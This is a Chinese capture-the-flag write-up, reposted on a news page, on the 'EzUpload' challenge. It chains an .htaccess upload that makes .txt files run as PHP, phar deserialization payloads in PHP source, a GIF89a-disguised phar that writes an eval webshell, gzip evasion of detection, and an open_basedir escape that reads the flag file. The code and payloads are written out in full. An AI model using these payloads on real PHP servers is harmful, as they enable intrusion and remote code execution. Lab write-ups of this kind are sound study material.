当前位置: 首页 > news >正文

从EzUpload到Webshell:一次完整的CTF文件上传与Phar反序列化实战解析

1. 漏洞发现与代码审计

在CTF比赛中,文件上传漏洞一直是高频考点。这次遇到的EzUpload题目看似简单,实则暗藏玄机。我刚开始审计代码时,发现系统对.htaccessphar文件的上传居然没有任何过滤,这立刻引起了我的警觉。

.htaccess文件是Apache服务器的配置文件,能够控制目录的访问权限和文件解析规则。而phar是PHP的归档文件格式,可以包含序列化数据。这两个关键点没被过滤,意味着我们可以通过上传特殊构造的文件来实现服务器控制。

仔细分析题目环境,发现系统提供了文件上传接口,支持两种上传方式:

  • 直接上传本地文件
  • 通过URL远程拉取文件

这里有个细节需要注意:系统对上传文件的扩展名没有严格限制,但会根据文件内容进行简单校验。比如上传PHP文件会被拦截,但修改文件头就可以绕过。

2. 构造恶意.htaccess文件

我的第一个突破口是.htaccess文件。通过上传特定的.htaccess文件,可以让服务器把普通文本文件当作PHP脚本来解析。具体操作如下:

  1. 先创建一个包含以下内容的.htaccess文件:
AddHandler php7-script .txt
  1. 由于直接上传会被拦截,需要将文件内容进行base64编码:
cat .htaccess | base64
  1. 使用data协议上传编码后的内容:
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

这个操作成功后,服务器就会把所有.txt文件当作PHP脚本来执行。这为后续的webshell上传铺平了道路。

3. Phar反序列化利用链

接下来要解决的是如何利用phar反序列化漏洞。我发现了题目环境中存在一个dir类,这个类有三个属性:

  • userdir:用户目录
  • url:URL地址
  • filename:文件名

通过分析发现,当这个类的对象被销毁时(比如在反序列化过程中),会执行文件写入操作。这就是我们要利用的点。

构造phar文件的代码如下:

<?php class dir{ public $userdir; public $url; public $filename; } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER();"); $o = new dir(); $a = new dir(); $a->userdir = '../'; $o->userdir = $a; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>

这里的关键是设置userdir属性,通过嵌套对象实现目录遍历。生成的phar文件需要先上传到服务器,然后通过phar协议触发反序列化。

4. 绕过限制获取webshell

上传phar文件后,需要通过phar协议触发反序列化:

action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/1.jpg

这个操作会返回服务器的绝对路径信息,这对后续操作至关重要。得到路径后,我们可以构造一个写入webshell的phar文件:

<?php class dir{ public $userdir; public $url; public $filename; } $a = new dir(); $a->filename = '/var/www/html/4bac3882938ce191/upload/cc551ab005b2e60fbdc88de809b2c4b1/test'; $a->userdir = '<?php eval($_GET[1]);?>'; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();

这里有几个技巧需要注意:

  1. 在文件头添加GIF89a伪装成图片
  2. 使用gzip压缩phar文件避免被检测
  3. 利用之前上传的.htaccess文件使txt文件可执行

5. 最终flag获取

成功上传webshell后,还需要绕过服务器的open_basedir限制。我使用了以下payload:

1=ini_set('open_basedir'%2C%20'..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bini_set('open_basedir'%2C%20'%2F')%3Bvar_dump(file_get_contents('%2FF1aG_1s_H4r4'))%3B

这个payload通过多次chdir跳出限制目录,然后读取根目录下的flag文件。需要注意的是,题目环境每10分钟会刷新一次,所以操作要迅速。也可以编写自动化脚本来完成整个过程。

在实际比赛中,这类题目往往考察选手对PHP特性的深入理解。从文件上传到phar反序列化,再到最终获取webshell,整个过程需要环环相扣。我在解题过程中最大的收获是学会了如何利用phar协议的压缩特性绕过安全检测,这对以后的CTF比赛和实际渗透测试都有很大帮助。

http://www.jsqmd.com/news/660820/

相关文章:

  • 别再手写二分查找了!用Python bisect库5分钟搞定有序数据插入与查找
  • 语义分割 + 几何量化分析”于一体。分割 能够提取裂缝像素级轮廓,实现长度、宽度(厚度)、面积精确计算基于深度学习混凝土裂缝分割与智能测量系统长度+厚度+周长+面积一体化
  • 如何用强化学习高效解决复杂组合优化问题:RL4CO完整实战指南
  • VENTURA(文图拉)蓄电池FT12-200铅酸电池12V200AH
  • 破解数据库管理困境:Navicat重置脚本的智能突围方案
  • 保姆级教程:快速排查Linux系统下/sys/kernel/debug目录不可见的5种原因及修复方法
  • 2026最权威的六大AI写作方案实际效果
  • 从原理到实践:手把手教你用Python仿真激光雷达零差/外差探测信号处理流程
  • LeRobot开源机器人DIY终极指南:3步打造你的第一台智能机械臂
  • ApkShellext2:如何在Windows文件管理器中智能识别应用包文件
  • ES8388录音、播放、直通模式详解:寄存器配置背后的音频信号流图
  • MATLAB 解线性方程组的迭代法
  • FPGA实战:3级CIC滤波器Verilog代码详解(附仿真测试技巧)
  • 终极抖音无水印下载器:3分钟掌握批量下载与直播录制完整指南
  • 2026年康养房机构推荐及选购参考/别墅康养房,医养康养房,洋房康养房避暑房,养老房 - 品牌策略师
  • 5G NR CSI-RS配置避坑指南:从TRS到波束管理,手把手教你避开RRC信令里的那些‘坑’
  • 网易云音乐NCM格式解密:3步解锁加密音乐的完整指南
  • CMS网站模板选型:主流系统、分类对比与使用注意事项
  • 如何评估主流分析仪器公司,细聊产品口碑和售后服务该如何选择 - mypinpai
  • 基于Python的热门网游推荐网站毕设
  • 5分钟掌握APK Installer:如何在Windows上轻松安装安卓应用?
  • 10个Illustrator脚本:彻底改变你的设计工作流,提升300%效率的终极方案
  • 如何评估花纹钢格板、不锈钢钢格板厂家,哪家性价比高 - 工业品网
  • 基于Python的物流信息管理系统毕设
  • 实战指南:Java应用通过JDBC直连华为云GaussDB(for openGauss)
  • B站CC字幕下载终极指南:3分钟学会免费提取B站视频字幕的完整方法
  • 将目标元素移动到数组开头,其余元素保持原顺序的方法
  • 从‘路由聚合’到‘超网’:一次讲透CIDR如何拯救了濒临枯竭的IPv4
  • 从Arduino到PCB:手把手复现TCD132D线性CCD扫描相机(附完整代码与避坑指南)
  • 如何快速获取海量ASMR资源:asmr-downloader下载工具完整指南